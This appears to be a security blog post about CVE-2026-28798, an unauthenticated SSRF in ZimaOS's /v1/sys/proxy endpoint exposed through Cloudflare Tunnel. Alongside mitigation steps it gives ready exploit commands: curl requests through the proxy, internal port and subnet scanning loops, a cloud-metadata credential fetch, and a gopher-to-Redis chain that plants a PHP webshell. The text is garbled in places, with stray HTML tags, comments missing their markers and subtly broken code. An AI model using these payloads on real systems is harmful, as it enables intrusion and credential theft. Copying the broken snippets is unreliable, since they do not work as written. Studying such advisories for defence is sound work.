Critical ZimaOS Vulnerability (CVE-2026-28798): How a Cloudflare Tunnel Exposed Internal Networks to Unauthenticated SSRF + Video

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Introduction

Server-Side Request Forgery (SSRF) attacks allow adversaries to abuse application functionality to make requests from the vulnerable server, often pivoting into internal networks. A newly disclosed critical vulnerability in ZimaOS (CVE-2026-28798, CVSS 9.1) demonstrates how an internal proxy endpoint – exposed via Cloudflare Tunnel without authentication – enables external attackers to interact with localhost services, access internal IPs, and leak sensitive configurations. This flaw breaks the trust boundary between external users and internal infrastructure, turning a convenience feature into a severe security hole.

Learning Objectives

  • Understand how the ZimaOS `/v1/sys/proxy` endpoint combined with Cloudflare Tunnel leads to unauthenticated SSRF.
  • Learn to detect and exploit SSRF vulnerabilities using command-line tools and custom payloads.
  • Implement mitigation strategies including access control, network segmentation, and secure tunnel configuration.

You Should Know

  1. Understanding the Vulnerability: SSRF via Exposed Proxy Endpoint

The root cause lies in ZimaOS’s `/v1/sys/proxy` endpoint, designed for internal use only. When administrators enable Cloudflare Tunnel (often for remote access without port forwarding), this endpoint becomes publicly reachable. Because the endpoint lacks authentication and input validation, an attacker can craft requests that force the server to make arbitrary HTTP requests to any destination – including localhost (127.0.0.1), internal IP ranges (e.g., 192.168.x.x, 10.x.x.x), and metadata endpoints (e.g., AWS IMDS). The following proof-of-concept demonstrates the impact.

Step‑by‑step exploitation guide (authorized testing only):

  1. Identify the exposed endpoint – Use a simple `curl` to check if the `/v1/sys/proxy` is accessible: 
    curl -i "https://target-zimaos.com/v1/sys/proxy?url=http://127.0.0.1:8080/admin"

    If the response contains the internal admin page HTML or a redirect, SSRF is present.

2. Enumerate localhost services – Try common ports:

for port in 22 80 443 3000 3306 5432 8080 8443 9200; do
curl -s "https://target-zimaos.com/v1/sys/proxy?url=http://127.0.0.1:$port" | head -n 5
done
  1. Probe internal IP ranges – Use a small script to scan internal subnets: 
    for ip in 192.168.1.{1..254}; do
curl -m 2 -s "https://target-zimaos.com/v1/sys/proxy?url=http://$ip:80" && echo " $ip"
done

  2. Read sensitive metadata – If the server is on AWS, attempt to fetch IMDSv1:

    curl -s "https://target-zimaos.com/v1/sys/proxy?url=http://169.254.169.254/latest/meta-data/"

(Successful exploitation can yield IAM credentials.)

Windows alternative (PowerShell):

$url = "https://target-zimaos.com/v1/sys/proxy?url=http://127.0.0.1:8080/admin"
Invoke-RestMethod -Uri $url -Method Get

Mitigation commands for administrators:

  • Immediately restrict the endpoint with a firewall rule (Linux): 
    sudo iptables -A INPUT -p tcp --dport <port> -s 10.0.0.0/8 -j ACCEPT  internal only
sudo iptables -A INPUT -p tcp --dport <port> -j DROP
  • Or using nftables: 
    sudo nft add rule inet filter input tcp dport <port> ip saddr != {10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16} drop

2. Cloudflare Tunnel Misconfigurations: The Hidden Danger

Cloudflare Tunnel (formerly Argo Tunnel) creates an encrypted outbound connection from your origin server to Cloudflare’s edge, exposing local services without public IPs. However, if the tunnel exposes an internal‑only endpoint like /v1/sys/proxy, any Cloudflare user (or attacker) can reach it. Many administrators assume that “tunnel = secure by default,” but Cloudflare Tunnel does not add authentication; it only hides the origin IP. The security responsibility remains on the application.

Step‑by‑step secure tunnel configuration:

1. List currently exposed tunnels and routes:

cloudflared tunnel list
cloudflared tunnel route list

2. Inspect tunnel configuration file (typically `~/.cloudflared/config.yml`):

tunnel: my-tunnel
credentials-file: /path/to/credentials.json
ingress:
- hostname: internal-proxy.example.com
service: http://localhost:8080  <-- vulnerable if proxy endpoint
- service: http_status:404

Remove or restrict the hostname that points to the proxy endpoint.

  1. Add access policies using Cloudflare Access – Require authentication before reaching the tunnel:

– Navigate to Cloudflare Zero Trust > Access > Applications.
– Add a self‑hosted application for internal-proxy.example.com.
– Set policy rules (e.g., “Require email ending in @company.com”).
– This adds a JWT validation layer – requests without a valid token are blocked at the edge.

  1. Alternative: Restrict by path – If the proxy endpoint is under /v1/sys/proxy, deny that specific path in the tunnel config: 
    ingress:</li>
</ol>

- hostname: myapp.example.com
path: /v1/sys/
service: http_status:403
- hostname: myapp.example.com
service: http://localhost:3000
    1. Validate the fix – Attempt the same `curl` exploit again; you should receive `403 Forbidden` or 302 Login.

    3. Detecting SSRF Vulnerabilities in Your Own Applications

    SSRF is often overlooked in internal APIs. Use these techniques to audit your code and infrastructure.

    Static analysis patterns to search for (Linux `grep`):

     Look for functions that make outbound requests with user‑controlled URLs
grep -r "curl_exec" --include=".php" /var/www/
grep -r "requests.get" --include=".py" /app/
grep -r "HttpClient.SendAsync" --include=".cs" .

    Dynamic testing with Burp Suite / OWASP ZAP:

    • Capture the request to any endpoint that takes a url, dest, redirect_uri, or `proxy` parameter.
    • Replace the parameter value with `http://127.0.0.1:22` and observe response time or error messages – a delay often indicates a successful connection.

    Automated scanning using `nmap` NSE scripts:

    nmap --script http-vuln-ssrf.nse -p 80,443 target.com

    Custom fuzzing payloads (save as `ssrf-payloads.txt`):

    http://127.0.0.1:80
http://0.0.0.0:8080
http://localhost:3306
http://169.254.169.254/latest/meta-data/
http://[::1]:22
http://10.0.0.1/secret
gopher://127.0.0.1:6379/_INFO

    Then use with `ffuf`:

    ffuf -u "https://target.com/v1/sys/proxy?url=FUZZ" -w ssrf-payloads.txt -fs 0
    1. Hardening Internal Proxy Endpoints with Authentication and Validation

    Even if an endpoint is “internal only,” never rely on network location as a security control. Implement defense in depth.

    Add API key authentication (example for Node.js/Express):

    const apiKeyMiddleware = (req, res, next) => {
const key = req.headers['x-api-key'];
if (!key || key !== process.env.INTERNAL_API_KEY) {
return res.status(401).json({ error: 'Unauthorized' });
}
next();
};
app.use('/v1/sys/proxy', apiKeyMiddleware);

    Input validation to block dangerous schemes and IPs:

    • Allowlist only required domains or IPs.
    • Reject private IP ranges and loopback addresses.
    • In Python using urllib.parse: 
      from urllib.parse import urlparse
import ipaddress</li>
</ul>

def validate_url(url):
parsed = urlparse(url)
host = parsed.hostname
 Resolve DNS and check IP
ip = socket.gethostbyname(host)
if ipaddress.ip_address(ip).is_private:
raise ValueError("Private IP not allowed")
if parsed.scheme not in ['http', 'https']:
raise ValueError("Only HTTP/HTTPS allowed")
return True

      Linux iptables rule to prevent server from reaching internal metadata:

      sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP
sudo iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
sudo iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
sudo iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
sudo iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

      Persist with `iptables-save` (depending on distribution).

      1. Exploitation in a Real Red Team Scenario (Simulated)

      Understanding how attackers chain SSRF can help defenders prioritize fixes. Here is a realistic path from external SSRF to internal compromise.

      Scenario: The target has ZimaOS exposed via Cloudflare Tunnel. Attacker finds the `/v1/sys/proxy` endpoint and:

      1. Enumerate localhost – Discovers a Redis instance on port 6379.
      2. Use gopher+SSRF to execute Redis commands – Write a PHP webshell to disk: 
        Generate gopher payload for Redis SET
echo -e "3\r\n$3\r\nSET\r\n$4\r\nshell\r\n$22\r\n<?php system($_GET['c']); ?>\r\n" | \
python -c "import sys; print('gopher://127.0.0.1:6379/_'+''.join(['%'+hex(ord(c))[2:] for c in sys.stdin.read()]))"

      Then send via the proxy:

      curl "https://target.com/v1/sys/proxy?url=gopher://127.0.0.1:6379/_3%0d%0a%243%0d%0aSET..."

      3. Write the webshell to the web root – If Redis is configured with `dir /var/www/html` and dbfilename shell.php.
      4. Execute arbitrary commands – `https://target.com/shell.php?c=id`

      Defender’s counter‑measures:

      • Disable gopher://, file://, `dict://` schemes in proxy.
      • Run Redis with `bind 127.0.0.1` and require authentication.
      • Use AppArmor or SELinux to prevent Redis from writing to web directories.

      6. Patching and Vendor Response for CVE-2026-28798

      As a user of ZimaOS, apply the official patch immediately. The advisory (linked below) contains updated versions. If patching is not possible, implement the following workarounds:

      • Disable Cloudflare Tunnel routing to the `/v1/sys/proxy` endpoint – either by removing that subdomain or adding a `path:` restriction as shown in Section 2.
      • Add a reverse proxy in front of ZimaOS (e.g., Nginx) that blocks the endpoint for external requests: 
        location /v1/sys/proxy {
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
proxy_pass http://localhost:8080;
}
      • Monitor logs for suspicious `url` parameters – Use `grep` on access logs: 
        sudo grep -E "url=(http://|https://|gopher://|dict://|file://)" /var/log/nginx/access.log

      References:

      • Official advisory: https://lnkd.in/dTk8teax
      • Proof of Concept: https://lnkd.in/d8nHmV2J

      What Undercode Say

      • Tunnels do not equal authentication – Cloudflare Tunnel and similar tools (ngrok, Argo) obscure your origin but never replace application‑layer access controls. Always assume the tunnel makes your service public.
      • Internal endpoints must be hardened like external ones – The ZimaOS vulnerability proves that “localhost” is not a security boundary. Validate every request, authenticate every API, and treat proxy endpoints as critical risk surfaces.
      • SSRF is a top‑10 vector for cloud pivoting – Attackers use SSRF to steal metadata credentials, scan internal networks, and bypass firewalls. Regular scanning with custom payloads (including gopher/dict) should be part of every pentest.

      Prediction

      As more vendors adopt reverse proxies and zero‑trust tunnels for remote management, CVE‑2026‑28798 will likely be the first of many similar disclosures. We predict a surge in SSRF vulnerabilities exposed via tunnel services over the next 12 months. Attackers will shift focus from traditional external scanning to abusing misconfigured tunnel endpoints, especially those that expose internal APIs. Consequently, security frameworks (e.g., OWASP, NIST) will update their guidance to explicitly require authentication on any endpoint reachable through a tunnel, and Cloudflare/competitors may introduce mandatory “explicit approval” for internal‑only path exposure. Organizations should immediately audit all tunnel configurations and implement “deny by default” for proxy endpoints.

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